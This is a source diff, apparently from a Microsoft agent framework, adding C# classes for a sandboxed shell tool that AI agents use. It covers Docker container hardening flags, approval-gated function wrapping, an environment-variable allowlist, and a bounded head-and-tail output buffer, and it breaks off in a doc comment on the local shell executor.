+/// scenarios register it with a per-session scope. If a shared instance is genuinely
+/// required, use <see cref="ShellMode.Stateless"/>, which gives each call its own
+/// throwaway <c>docker run --rm</c>.
+/// </para>
+/// </remarks>
+public sealed class DockerShellExecutor : ShellExecutor
+{
+    /// <summary>Default container image. A small Microsoft-maintained Linux base.</summary>
+    public const string DefaultImage = "mcr.microsoft.com/azurelinux/base/core:3.0";
+
+    /// <summary>Default Docker network mode (no network).</summary>
+    internal const string DefaultNetwork = DockerNetworkMode.None;
+
+    /// <summary>Default container memory limit, in bytes (512 MiB).</summary>
+    internal const long DefaultMemoryBytes = 512L * 1024 * 1024;
+
+    /// <summary>Default pids limit.</summary>
+    public const int DefaultPidsLimit = 256;
+
+    /// <summary>Default container working directory.</summary>
+    public const string DefaultContainerWorkdir = "/workspace";
+
+    /// <summary>
+    /// Recommended default per-command timeout (30 seconds). Pass this
+    /// explicitly via <see cref="DockerShellExecutorOptions.Timeout"/> to
+    /// opt in. Note that <see langword="null"/> (the property default) means
+    /// <em>no timeout</em>.
+    /// </summary>
+    public static readonly TimeSpan DefaultTimeout = TimeSpan.FromSeconds(30);
+
+    private readonly string _image;
+    private readonly ShellMode _mode;
+    private readonly string? _hostWorkdir;
+    private readonly string _containerWorkdir;
+    private readonly bool _mountReadonly;
+    private readonly string _network;
+    private readonly long _memoryBytes;
+    private readonly int _pidsLimit;
+    private readonly ContainerUser _user;
+    private readonly bool _readOnlyRoot;
+    private readonly IReadOnlyList<string> _extraRunArgs;
+    private readonly IReadOnlyDictionary<string, string> _env;
+    private readonly ShellPolicy _policy;
+    private readonly TimeSpan? _timeout;
+    private readonly int _maxOutputBytes;
+    private ShellSession? _session;
+    private bool _containerStarted;
+    private readonly SemaphoreSlim _lifecycleLock = new(1, 1);
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="DockerShellExecutor"/>
+    /// class with default options.
+    /// </summary>
+    public DockerShellExecutor() : this(new DockerShellExecutorOptions())
+    {
+    }
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="DockerShellExecutor"/> class.
+    /// </summary>
+    /// <param name="options">Configuration. <see langword="null"/> selects defaults.</param>
+    public DockerShellExecutor(DockerShellExecutorOptions options)
+    {
+        _ = Throw.IfNull(options);
+        _ = Throw.IfNull(options.Image);
+        if (options.MaxOutputBytes <= 0)
+        {
+            throw new ArgumentOutOfRangeException(nameof(options), $"{nameof(options.MaxOutputBytes)} must be positive.");
+        }
+        if (options.MemoryBytes is <= 0)
+        {
+            throw new ArgumentOutOfRangeException(nameof(options), $"{nameof(options.MemoryBytes)} must be positive.");
+        }
+
+        this._image = options.Image;
+        this.ContainerName = options.ContainerName ?? GenerateContainerName();
+        this._mode = options.Mode;
+        this._hostWorkdir = options.HostWorkdir;
+        this._containerWorkdir = options.ContainerWorkdir ?? DefaultContainerWorkdir;
+        this._mountReadonly = options.MountReadonly;
+        this._network = options.Network ?? DefaultNetwork;
+        this._memoryBytes = options.MemoryBytes ?? DefaultMemoryBytes;
+        this._pidsLimit = options.PidsLimit;
+        this._user = options.User ?? ContainerUser.Default;
+        this._readOnlyRoot = options.ReadOnlyRoot;
+        this._extraRunArgs = options.ExtraRunArgs ?? Array.Empty<string>();
+        this._env = options.Environment ?? new Dictionary<string, string>();
+        this._policy = options.Policy ?? new ShellPolicy();
+        this._timeout = options.Timeout;
+        this._maxOutputBytes = options.MaxOutputBytes;
+        this.DockerBinary = options.DockerBinary ?? "docker";
+    }
+
+    /// <summary>Gets the container name (auto-generated when not specified at construction).</summary>
+    public string ContainerName { get; }
+
+    /// <summary>Gets the docker binary path.</summary>
+    public string DockerBinary { get; }
+
+    /// <summary>Eagerly start the container (and inner shell session in persistent mode).</summary>
+    public override async Task InitializeAsync(CancellationToken cancellationToken = default)
+    {
+        await this._lifecycleLock.WaitAsync(cancellationToken).ConfigureAwait(false);
+        try
+        {
+            if (this._containerStarted)
+            {
+                return;
+            }
+            await this.StartContainerAsync(cancellationToken).ConfigureAwait(false);
+            this._containerStarted = true;
+            if (this._mode == ShellMode.Persistent)
+            {
+                var execArgv = BuildExecArgv(this.DockerBinary, this.ContainerName);
+                // BuildExecArgv already includes the bash flags
+                // (--noprofile --norc) at the end of the argv. We pass
+                // ShellKind.Sh here (not Bash) because Sh's
+                // PersistentArgv() returns an empty suffix and forwards
+                // ExtraArgv unchanged; Bash would re-append
+                // --noprofile/--norc and produce a duplicated argv.
+                var inner = new ResolvedShell(execArgv[0], ShellKind.Sh, ExtraArgv: execArgv.Skip(1).ToArray());
+                this._session = new ShellSession(
+                    inner,
+                    workingDirectory: null, // workdir is set on the container itself
+                    confineWorkingDirectory: false,
+                    environment: null,
+                    cleanEnvironment: false,
+                    maxOutputBytes: this._maxOutputBytes);
+            }
+        }
+        finally
+        {
+            _ = this._lifecycleLock.Release();
+        }
+    }
+
+    /// <inheritdoc />
+    public override async ValueTask DisposeAsync()
+    {
+        await this._lifecycleLock.WaitAsync().ConfigureAwait(false);
+        try
+        {
+            if (this._session is not null)
+            {
+                try { await this._session.DisposeAsync().ConfigureAwait(false); }
+                finally { this._session = null; }
+            }
+            if (this._containerStarted)
+            {
+                await this.StopContainerAsync().ConfigureAwait(false);
+                this._containerStarted = false;
+            }
+        }
+        finally
+        {
+            _ = this._lifecycleLock.Release();
+        }
+        this._lifecycleLock.Dispose();
+    }
+
+    /// <summary>Run a single command inside the container.</summary>
+    /// <exception cref="ShellCommandRejectedException">Thrown when the policy denies the command.</exception>
+    public override async Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default)
+    {
+        if (command is null)
+        {
+            throw new ArgumentNullException(nameof(command));
+        }
+
+        var decision = this._policy.Evaluate(new ShellRequest(command, this._containerWorkdir));
+        if (!decision.Allowed)
+        {
+            throw new ShellCommandRejectedException(
+                $"Command rejected by policy: {decision.Reason ?? "(unspecified)"}");
+        }
+
+        if (this._mode == ShellMode.Persistent)
+        {
+            if (this._session is null)
+            {
+                await this.InitializeAsync(cancellationToken).ConfigureAwait(false);
+            }
+            return await this._session!.RunAsync(command, this._timeout, cancellationToken).ConfigureAwait(false);
+        }
+
+        return await this.RunStatelessAsync(command, cancellationToken).ConfigureAwait(false);
+    }
+
+    /// <summary>Format a byte count into the value passed to <c>docker --memory</c> (e.g. <c>536870912b</c>).</summary>
+    internal static string FormatMemoryBytes(long memoryBytes) =>
+        memoryBytes.ToString(System.Globalization.CultureInfo.InvariantCulture) + "b";
+
+    /// <summary>
+    /// Build the AIFunction for this tool.
+    /// </summary>
+    /// <remarks>
+    /// When <paramref name="requireApproval"/> is <see langword="null"/>
+    /// (the default), the returned function is wrapped in
+    /// <see cref="ApprovalRequiredAIFunction"/>. The caller must
+    /// explicitly pass <see langword="false"/> to opt out of approval
+    /// gating. Container configuration alone is not a sufficient signal
+    /// to safely auto-execute model-generated commands — the
+    /// approval/policy decision belongs to the agent author.
+    /// </remarks>
+    /// <param name="name">Function name surfaced to the model.</param>
+    /// <param name="description">Function description for the model.</param>
+    /// <param name="requireApproval">
+    /// <see langword="true"/> or <see langword="null"/> (the default)
+    /// wraps the function in <see cref="ApprovalRequiredAIFunction"/>;
+    /// <see langword="false"/> opts out and returns the raw function.
+    /// </param>
+    public AIFunction AsAIFunction(string name = "run_shell", string? description = null, bool? requireApproval = null)
+    {
+        var effectiveRequireApproval = requireApproval ?? true;
+
+        description ??=
+            "Execute a single shell command inside an isolated Docker container and return its " +
+            "stdout, stderr, and exit code. The container has no network, no host filesystem access " +
+            "(except an optional read-only workspace mount), and runs as a non-root user. " +
+            (this._mode == ShellMode.Persistent
+                ? "PERSISTENT MODE: a single long-lived container handles every call; cd and exported variables persist."
+                : "STATELESS MODE: each call runs in a fresh container.");
+
+        var fn = AIFunctionFactory.Create(
+            async ([Description("The shell command to execute.")] string command,
+                CancellationToken cancellationToken) =>
+            {
+                try
+                {
+                    var result = await this.RunAsync(command, cancellationToken).ConfigureAwait(false);
+                    return result.FormatForModel();
+                }
+                catch (ShellCommandRejectedException ex)
+                {
+                    // ex.Message already starts with "Command rejected by policy: ...".
+                    return ex.Message;
+                }
+            },
+            new AIFunctionFactoryOptions { Name = name, Description = description });
+
+        return effectiveRequireApproval ? new ApprovalRequiredAIFunction(fn) : fn;
+    }
+
+    /// <summary>
+    /// Probe whether the configured docker binary can be reached. Returns
+    /// <see langword="true"/> only if the binary exists on PATH and
+    /// <c>docker version</c> succeeds within ~5 seconds.
+    /// </summary>
+    public static async Task<bool> IsAvailableAsync(string binary = "docker", CancellationToken cancellationToken = default)
+    {
+        try
+        {
+            var psi = new ProcessStartInfo
+            {
+                FileName = binary,
+                RedirectStandardOutput = true,
+                RedirectStandardError = true,
+                UseShellExecute = false,
+                CreateNoWindow = true,
+            };
+            psi.ArgumentList.Add("version");
+            psi.ArgumentList.Add("--format");
+            psi.ArgumentList.Add("{{.Server.Version}}");
+            using var proc = new Process { StartInfo = psi };
+            if (!proc.Start())
+            {
+                return false;
+            }
+            using var cts = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
+            cts.CancelAfter(TimeSpan.FromSeconds(5));
+            try
+            {
+                await proc.WaitForExitAsync(cts.Token).ConfigureAwait(false);
+            }
+            catch (OperationCanceledException)
+            {
+                try { proc.Kill(entireProcessTree: true); } catch { }
+                return false;
+            }
+            return proc.ExitCode == 0;
+        }
+        catch (Win32Exception)
+        {
+            return false;
+        }
+        catch (InvalidOperationException)
+        {
+            return false;
+        }
+    }
+
+    // ------------------------------------------------------------------
+    // Pure argv builders — kept side-effect-free so tests don't need Docker.
+    // ------------------------------------------------------------------
+
+    /// <summary>Build the <c>docker run -d</c> argv that starts the long-lived container.</summary>
+    public static IReadOnlyList<string> BuildRunArgv(
+        string binary,
+        string image,
+        string containerName,
+        ContainerUser user,
+        string network,
+        long memoryBytes,
+        int pidsLimit,
+        string workdir,
+        string? hostWorkdir,
+        bool mountReadonly,
+        bool readOnlyRoot,
+        IReadOnlyDictionary<string, string>? extraEnv,
+        IReadOnlyList<string>? extraArgs)
+    {
+        _ = Throw.IfNull(user);
+        var argv = new List<string>
+        {
+            binary,
+            "run",
+            "-d",
+            "--rm",
+            "--name", containerName,
+            "--user", user.ToString(),
+            "--network", network,
+            "--memory", FormatMemoryBytes(memoryBytes),
+            "--pids-limit", pidsLimit.ToString(System.Globalization.CultureInfo.InvariantCulture),
+            "--cap-drop", "ALL",
+            "--security-opt", "no-new-privileges",
+            "--tmpfs", "/tmp:rw,nosuid,nodev,size=64m",
+            "--workdir", workdir,
+        };
+        if (readOnlyRoot)
+        {
+            argv.Add("--read-only");
+        }
+        if (hostWorkdir is not null)
+        {
+            var ro = mountReadonly ? "ro" : "rw";
+            argv.Add("-v");
+            argv.Add($"{hostWorkdir}:{workdir}:{ro}");
+        }
+        if (extraEnv is not null)
+        {
+            foreach (var kv in extraEnv)
+            {
+                argv.Add("-e");
+                argv.Add($"{kv.Key}={kv.Value}");
+            }
+        }
+        if (extraArgs is not null)
+        {
+            foreach (var a in extraArgs) { argv.Add(a); }
+        }
+        argv.Add(image);
+        argv.Add("sleep");
+        argv.Add("infinity");
+        return argv;
+    }
+
+    /// <summary>
+    /// Build the <c>docker exec -i &lt;container&gt; bash --noprofile --norc</c> argv for
+    /// the persistent inner shell. Stateless callers should use
+    /// <see cref="BuildRunArgvStateless"/>; this method intentionally does
+    /// not produce a stand-alone command argv.
+    /// </summary>
+    public static IReadOnlyList<string> BuildExecArgv(string binary, string containerName)
+    {
+        return new List<string> { binary, "exec", "-i", containerName, "bash", "--noprofile", "--norc" };
+    }
+
+    private async Task StartContainerAsync(CancellationToken cancellationToken)
+    {
+        var argv = BuildRunArgv(
+            this.DockerBinary, this._image, this.ContainerName, this._user, this._network,
+            this._memoryBytes, this._pidsLimit, this._containerWorkdir, this._hostWorkdir,
+            this._mountReadonly, this._readOnlyRoot, this._env, this._extraRunArgs);
+
+        var (exit, _, stderr) = await RunDockerCommandAsync(argv, cancellationToken).ConfigureAwait(false);
+        if (exit != 0)
+        {
+            throw new DockerNotAvailableException(
+                $"Failed to start container ({exit}): {stderr.Trim()}");
+        }
+    }
+
+    private async Task StopContainerAsync()
+    {
+        var argv = new[] { this.DockerBinary, "rm", "-f", this.ContainerName };
+        try
+        {
+            using var cts = new CancellationTokenSource(TimeSpan.FromSeconds(10));
+            _ = await RunDockerCommandAsync(argv, cts.Token).ConfigureAwait(false);
+        }
+        catch (Exception ex) when (ex is OperationCanceledException || ex is Win32Exception || ex is InvalidOperationException)
+        {
+            // Best-effort teardown.
+        }
+    }
+
+    private async Task<ShellResult> RunStatelessAsync(string command, CancellationToken cancellationToken)
+    {
+        var perCallName = GenerateContainerName();
+        var argv = new List<string>(this.BuildRunArgvStateless(perCallName));
+        argv.Add(this._image);
+        argv.Add("bash");
+        argv.Add("-c");
+        argv.Add(command);
+
+        var stopwatch = Stopwatch.StartNew();
+        var stdoutBuf = new HeadTailBuffer(this._maxOutputBytes);
+        var stderrBuf = new HeadTailBuffer(this._maxOutputBytes);
+
+        var psi = new ProcessStartInfo
+        {
+            FileName = argv[0],
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+            CreateNoWindow = true,
+        };
+        for (var i = 1; i < argv.Count; i++) { psi.ArgumentList.Add(argv[i]); }
+
+        using var proc = new Process { StartInfo = psi, EnableRaisingEvents = true };
+        proc.OutputDataReceived += (_, e) => { if (e.Data is not null) { stdoutBuf.AppendLine(e.Data); } };
+        proc.ErrorDataReceived += (_, e) => { if (e.Data is not null) { stderrBuf.AppendLine(e.Data); } };
+
+        try { _ = proc.Start(); }
+        catch (Win32Exception ex)
+        {
+            throw new IOException($"Failed to launch '{this.DockerBinary}': {ex.Message}", ex);
+        }
+        proc.BeginOutputReadLine();
+        proc.BeginErrorReadLine();
+
+        var timedOut = false;
+        using var timeoutCts = this._timeout is null
+            ? new CancellationTokenSource()
+            : new CancellationTokenSource(this._timeout.Value);
+        using var linkedCts = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken, timeoutCts.Token);
+        try
+        {
+            await proc.WaitForExitAsync(linkedCts.Token).ConfigureAwait(false);
+        }
+        catch (OperationCanceledException) when (timeoutCts.IsCancellationRequested && !cancellationToken.IsCancellationRequested)
+        {
+            timedOut = true;
+            // Kill the running container by name; --rm reaps it.
+            await this.BestEffortKillContainerAsync(perCallName).ConfigureAwait(false);
+            try { await proc.WaitForExitAsync(CancellationToken.None).ConfigureAwait(false); }
+            catch (Exception ex) when (ex is InvalidOperationException || ex is Win32Exception) { }
+        }
+        catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+        {
+            // Caller-driven cancellation: --rm only fires when PID 1 exits, so
+            // if we just propagate, the container keeps running indefinitely.
+            // Kill it explicitly before rethrowing so we don't leak containers.
+            await this.BestEffortKillContainerAsync(perCallName).ConfigureAwait(false);
+            try { await proc.WaitForExitAsync(CancellationToken.None).ConfigureAwait(false); }
+            catch (Exception ex) when (ex is InvalidOperationException || ex is Win32Exception) { }
+            throw;
+        }
+        proc.WaitForExit();
+        stopwatch.Stop();
+
+        var (sout, soutT) = stdoutBuf.ToFinalString();
+        var (serr, serrT) = stderrBuf.ToFinalString();
+        return new ShellResult(
+            Stdout: sout,
+            Stderr: serr,
+            ExitCode: timedOut ? 124 : proc.ExitCode,
+            Duration: stopwatch.Elapsed,
+            Truncated: soutT || serrT,
+            TimedOut: timedOut);
+    }
+
+    private List<string> BuildRunArgvStateless(string perCallName)
+    {
+        var argv = new List<string>
+        {
+            this.DockerBinary,
+            "run", "--rm", "-i",
+            "--name", perCallName,
+            "--user", this._user.ToString(),
+            "--network", this._network,
+            "--memory", FormatMemoryBytes(this._memoryBytes),
+            "--pids-limit", this._pidsLimit.ToString(System.Globalization.CultureInfo.InvariantCulture),
+            "--cap-drop", "ALL",
+            "--security-opt", "no-new-privileges",
+            "--tmpfs", "/tmp:rw,nosuid,nodev,size=64m",
+            "--workdir", this._containerWorkdir,
+        };
+        if (this._readOnlyRoot) { argv.Add("--read-only"); }
+        if (this._hostWorkdir is not null)
+        {
+            var ro = this._mountReadonly ? "ro" : "rw";
+            argv.Add("-v");
+            argv.Add($"{this._hostWorkdir}:{this._containerWorkdir}:{ro}");
+        }
+        foreach (var kv in this._env)
+        {
+            argv.Add("-e");
+            argv.Add($"{kv.Key}={kv.Value}");
+        }
+        foreach (var a in this._extraRunArgs) { argv.Add(a); }
+        return argv;
+    }
+
+    private async Task BestEffortKillContainerAsync(string containerName)
+    {
+        try
+        {
+            using var killCts = new CancellationTokenSource(TimeSpan.FromSeconds(5));
+            _ = await RunDockerCommandAsync(
+                new[] { this.DockerBinary, "kill", "--signal", "KILL", containerName }, killCts.Token).ConfigureAwait(false);
+        }
+        catch (Exception ex) when (ex is OperationCanceledException || ex is Win32Exception || ex is InvalidOperationException)
+        {
+            // best-effort: container may already be gone
+        }
+    }
+
+    private static async Task<(int ExitCode, string Stdout, string Stderr)> RunDockerCommandAsync(
+        IReadOnlyList<string> argv, CancellationToken cancellationToken)
+    {
+        var psi = new ProcessStartInfo
+        {
+            FileName = argv[0],
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+            CreateNoWindow = true,
+        };
+        for (var i = 1; i < argv.Count; i++) { psi.ArgumentList.Add(argv[i]); }
+        // Cap helper-command output at 1 MiB. These commands (`docker version`,
+        // `docker kill`, `docker pull`) shouldn't produce more than that, but a
+        // chatty `docker pull` progress stream can easily run into hundreds of
+        // KiB; bound the buffer so we never exhaust memory on misbehaviour.
+        const int HelperOutputCap = 1 * 1024 * 1024;
+        var stdoutBuf = new HeadTailBuffer(HelperOutputCap);
+        var stderrBuf = new HeadTailBuffer(HelperOutputCap);
+        using var proc = new Process { StartInfo = psi, EnableRaisingEvents = true };
+        proc.OutputDataReceived += (_, e) => { if (e.Data is not null) { stdoutBuf.AppendLine(e.Data); } };
+        proc.ErrorDataReceived += (_, e) => { if (e.Data is not null) { stderrBuf.AppendLine(e.Data); } };
+        _ = proc.Start();
+        proc.BeginOutputReadLine();
+        proc.BeginErrorReadLine();
+        await proc.WaitForExitAsync(cancellationToken).ConfigureAwait(false);
+        proc.WaitForExit();
+        return (proc.ExitCode, stdoutBuf.ToFinalString().text, stderrBuf.ToFinalString().text);
+    }
+
+    private static string GenerateContainerName()
+    {
+        var bytes = new byte[6];
+#if NET6_0_OR_GREATER
+        RandomNumberGenerator.Fill(bytes);
+#else
+        using var rng = RandomNumberGenerator.Create();
+        rng.GetBytes(bytes);
+#endif
+#pragma warning disable CA1308
+        return "af-shell-" + Convert.ToHexString(bytes).ToLowerInvariant();
+#pragma warning restore CA1308
+    }
+}
+
+/// <summary>
+/// Thrown when the configured docker (or compatible) binary cannot start a
+/// container — typically because the daemon isn't running, the image
+/// can't be pulled, or the binary isn't on PATH.
+/// </summary>
+public sealed class DockerNotAvailableException : Exception
+{
+    /// <summary>Initializes a new instance of the <see cref="DockerNotAvailableException"/> class.</summary>
+    public DockerNotAvailableException() { }
+
+    /// <summary>Initializes a new instance of the <see cref="DockerNotAvailableException"/> class.</summary>
+    /// <param name="message">The exception message.</param>
+    public DockerNotAvailableException(string message) : base(message) { }
+
+    /// <summary>Initializes a new instance of the <see cref="DockerNotAvailableException"/> class.</summary>
+    /// <param name="message">The exception message.</param>
+    /// <param name="inner">The inner exception.</param>
+    public DockerNotAvailableException(string message, Exception inner) : base(message, inner) { }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Configuration for <see cref="DockerShellExecutor"/>. New knobs will be
+/// added as properties here so the constructor surface stays binary-stable.
+/// </summary>
+public sealed class DockerShellExecutorOptions
+{
+    /// <summary>OCI image to run. Must include <c>bash</c> and (for persistent mode) <c>sleep</c>.</summary>
+    public string Image { get; set; } = DockerShellExecutor.DefaultImage;
+
+    /// <summary>Optional container name. When <see langword="null"/>, a unique name is generated.</summary>
+    public string? ContainerName { get; set; }
+
+    /// <summary>
+    /// Execution mode. Defaults to <see cref="ShellMode.Persistent"/>.
+    /// <para>
+    /// In <see cref="ShellMode.Persistent"/> the resulting executor instance owns a
+    /// long-lived container plus the bash REPL inside it, and is intended to be owned
+    /// by a single conversation / agent session; do not share it across users or
+    /// concurrent sessions. See <see cref="DockerShellExecutor"/> remarks.
+    /// </para>
+    /// </summary>
+    public ShellMode Mode { get; set; } = ShellMode.Persistent;
+
+    /// <summary>Optional host directory mounted at <see cref="ContainerWorkdir"/>.</summary>
+    public string? HostWorkdir { get; set; }
+
+    /// <summary>Path inside the container. Defaults to <c>/workspace</c>.</summary>
+    public string ContainerWorkdir { get; set; } = DockerShellExecutor.DefaultContainerWorkdir;
+
+    /// <summary>When <see langword="true"/> (the default), the host workdir is mounted read-only.</summary>
+    public bool MountReadonly { get; set; } = true;
+
+    /// <summary>Docker network mode. Defaults to <see cref="DockerNetworkMode.None"/>.</summary>
+    public string Network { get; set; } = DockerNetworkMode.None;
+
+    /// <summary>Container memory limit, in bytes. <see langword="null"/> selects 512 MiB.</summary>
+    public long? MemoryBytes { get; set; }
+
+    /// <summary>Max processes inside the container.</summary>
+    public int PidsLimit { get; set; } = DockerShellExecutor.DefaultPidsLimit;
+
+    /// <summary>Container user. Defaults to <see cref="ContainerUser.Default"/> (nobody).</summary>
+    public ContainerUser User { get; set; } = ContainerUser.Default;
+
+    /// <summary>When <see langword="true"/> (the default), the container root filesystem is read-only.</summary>
+    public bool ReadOnlyRoot { get; set; } = true;
+
+    /// <summary>Additional args appended to <c>docker run</c>.</summary>
+    public IReadOnlyList<string>? ExtraRunArgs { get; set; }
+
+    /// <summary>Environment variables passed via <c>-e</c> to every command.</summary>
+    public IReadOnlyDictionary<string, string>? Environment { get; set; }
+
+    /// <summary>
+    /// Optional <see cref="ShellPolicy"/>. When <see langword="null"/>,
+    /// a default (empty) policy is used that allows any non-empty command.
+    /// Container isolation is the security boundary for Docker mode; a
+    /// <see cref="ShellPolicy"/> here is a UX pre-filter for shapes you
+    /// would rather see rejected with a clear error than run.
+    /// </summary>
+    public ShellPolicy? Policy { get; set; }
+
+    /// <summary>Per-command timeout. <see langword="null"/> disables timeouts.</summary>
+    public TimeSpan? Timeout { get; set; }
+
+    /// <summary>Per-stream cap before head+tail truncation. Defaults to 64 KiB.</summary>
+    public int MaxOutputBytes { get; set; } = 64 * 1024;
+
+    /// <summary>Override (e.g. <c>podman</c>).</summary>
+    public string DockerBinary { get; set; } = "docker";
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Helpers shared by <see cref="LocalShellExecutor"/> and <see cref="ShellSession"/> for
+/// the <c>cleanEnvironment</c> mode where the spawned shell does not inherit the parent
+/// process environment — except for a small allowlist of variables that the shell needs
+/// to locate itself and basic tools.
+/// </summary>
+internal static class EnvironmentSanitizer
+{
+    /// <summary>
+    /// Variables propagated from the host environment when <c>cleanEnvironment</c> is true.
+    /// Add new entries here only — both the stateless and persistent code paths consume this list.
+    /// </summary>
+    public static readonly IReadOnlyList<string> PreservedVariables = new[]
+    {
+        "PATH",
+        "HOME",
+        "USER",
+        "USERNAME",
+        "USERPROFILE",
+        "SystemRoot",
+        "TEMP",
+        "TMP",
+    };
+
+    /// <summary>
+    /// Strip everything from <paramref name="environment"/> except the entries named by
+    /// <see cref="PreservedVariables"/>. Lookup is case-insensitive so it works on both
+    /// Windows (case-insensitive env vars) and POSIX (case-sensitive but typed in the
+    /// expected case). Variables that aren't present in the input dictionary are skipped.
+    /// </summary>
+    /// <param name="environment">The environment dictionary to sanitize in-place.</param>
+    public static void RemoveNonPreserved(IDictionary<string, string?> environment)
+    {
+        if (environment is null)
+        {
+            return;
+        }
+
+        var keep = new Dictionary<string, string?>(StringComparer.OrdinalIgnoreCase);
+        foreach (var name in PreservedVariables)
+        {
+            if (environment.TryGetValue(name, out var v) && v is not null)
+            {
+                keep[name] = v;
+            }
+        }
+
+        environment.Clear();
+        foreach (var kv in keep)
+        {
+            environment[kv.Key] = kv.Value;
+        }
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Bounded accumulator that keeps the first half of the input and the most recent
+/// half (rolling tail), summing to <c>cap</c> UTF-8 bytes total. When the input fits
+/// in <c>cap</c> bytes, the result is the original concatenation. Otherwise the middle
+/// is dropped and the result includes a "[... truncated N bytes ...]" marker.
+/// </summary>
+/// <remarks>
+/// <para>
+/// Used by <see cref="LocalShellExecutor"/> and <see cref="DockerShellExecutor"/> when
+/// streaming stdout / stderr from a long-running subprocess. Memory usage is bounded
+/// at roughly <c>cap</c> bytes regardless of how much is appended.
+/// </para>
+/// <para>
+/// The buffer counts UTF-8 bytes (matching the public <c>maxOutputBytes</c> contract
+/// and <see cref="ShellSession.TruncateHeadTail"/>). Append happens one rune at a time
+/// — when the head fills, the next rune's UTF-8 bytes go to the tail as an indivisible
+/// unit, and the oldest rune is dropped from the tail. This guarantees the final
+/// string never contains a split rune (no orphan surrogates, no invalid UTF-8).
+/// </para>
+/// </remarks>
+internal sealed class HeadTailBuffer
+{
+    private readonly int _cap;
+    private readonly int _headCap;
+    private readonly int _tailCap;
+    private readonly List<byte> _head = new();
+    // Tail is a queue of complete rune-byte-sequences so we can drop oldest rune
+    // atomically when capacity is exceeded.
+    private readonly Queue<byte[]> _tail = new();
+    private int _tailBytes;
+    private long _totalBytes;
+
+    public HeadTailBuffer(int cap)
+    {
+        this._cap = cap < 0 ? 0 : cap;
+        // Split the budget so head and tail sum to exactly _cap. With odd caps,
+        // the extra byte goes to the tail. This guarantees that any input whose
+        // UTF-8 size is <= _cap round-trips losslessly (no silent data drop).
+        this._headCap = this._cap / 2;
+        this._tailCap = this._cap - this._headCap;
+    }
+
+    public void AppendLine(string line)
+    {
+        this.AppendInternal(line);
+        this.AppendInternal("\n");
+    }
+
+    private void AppendInternal(string s)
+    {
+        Span<byte> scratch = stackalloc byte[4];
+        foreach (var rune in s.EnumerateRunes())
+        {
+            // Encode this rune to its UTF-8 bytes (1-4 bytes).
+            var n = rune.EncodeToUtf8(scratch);
+            this._totalBytes += n;
+
+            if (this._head.Count + n <= this._headCap)
+            {
+                for (var i = 0; i < n; i++) { this._head.Add(scratch[i]); }
+                continue;
+            }
+
+            // Head is full — append to tail as a single rune-sized chunk.
+            var bytes = scratch[..n].ToArray();
+            this._tail.Enqueue(bytes);
+            this._tailBytes += n;
+
+            // Evict whole runes from the front of the tail until we fit.
+            while (this._tailBytes > this._tailCap && this._tail.Count > 0)
+            {
+                var dropped = this._tail.Dequeue();
+                this._tailBytes -= dropped.Length;
+            }
+        }
+    }
+
+    public (string text, bool truncated) ToFinalString()
+    {
+        if (this._totalBytes <= this._cap)
+        {
+            var combinedBytes = new byte[this._head.Count + this._tailBytes];
+            this._head.CopyTo(combinedBytes, 0);
+            var offset = this._head.Count;
+            foreach (var chunk in this._tail)
+            {
+                Array.Copy(chunk, 0, combinedBytes, offset, chunk.Length);
+                offset += chunk.Length;
+            }
+            return (Encoding.UTF8.GetString(combinedBytes), false);
+        }
+
+        var dropped = this._totalBytes - this._head.Count - this._tailBytes;
+        var headStr = Encoding.UTF8.GetString(this._head.ToArray());
+        var tailBytes = new byte[this._tailBytes];
+        var tailOffset = 0;
+        foreach (var chunk in this._tail)
+        {
+            Array.Copy(chunk, 0, tailBytes, tailOffset, chunk.Length);
+            tailOffset += chunk.Length;
+        }
+        var tailStr = Encoding.UTF8.GetString(tailBytes);
+
+        var sb = new StringBuilder(headStr.Length + tailStr.Length + 64);
+        _ = sb.Append(headStr);
+        _ = sb.Append('\n');
+        _ = sb.Append("[... truncated ").Append(dropped).Append(" bytes ...]");
+        _ = sb.Append('\n');
+        _ = sb.Append(tailStr);
+        return (sb.ToString(), true);
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.AI;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Cross-platform shell tool. <b>Approval-in-the-loop is the security boundary.</b>
+/// </summary>
+/// <remarks>
+/// <para>
+/// <c>LocalShellExecutor</c> launches a real shell (bash/sh on POSIX, pwsh/powershell/cmd on Windows)
+/// to execute commands emitted by an agent. Output is captured, optionally truncated, and a
+/// timeout terminates the process tree.
+/// </para>
+/// <para>
+/// Both <see cref="ShellMode.Stateless"/> (every call spawns a fresh shell) and
+/// <see cref="ShellMode.Persistent"/> (a long-lived shell that preserves <c>cd</c>, exported
+/// variables, etc. across calls via a sentinel protocol) are supported. Persistent mode is the
+/// recommended default for coding agents because it eliminates a class of "agent runs cd and
+/// then runs the wrong path" failures.
+/// </para>
+/// <para>
+/// <b>Single-session ownership.</b> A persistent-mode executor is owned by a single
+/// conversation / agent session — i.e., a single user. The backing shell process carries
+/// mutable state (working directory, exported variables, shell history, background jobs)
+/// that is visible to every command run through it, and a single stdin/stdout pipe
+/// serializes every call. Do not share one instance across users, tenants, or concurrent
+/// conversations: state leaks between them and commands queue behind each other. Create
+/// one <see cref="LocalShellExecutor"/> per session, dispose it when the session ends, and
+/// in DI scenarios register it with a per-session scope (not as a singleton). If a shared
+/// instance is genuinely required, use <see cref="ShellMode.Stateless"/>.
+/// </para>
+/// <para>
+/// <b>Threat model.</b> The deny list is a guardrail, not a security boundary. Real isolation
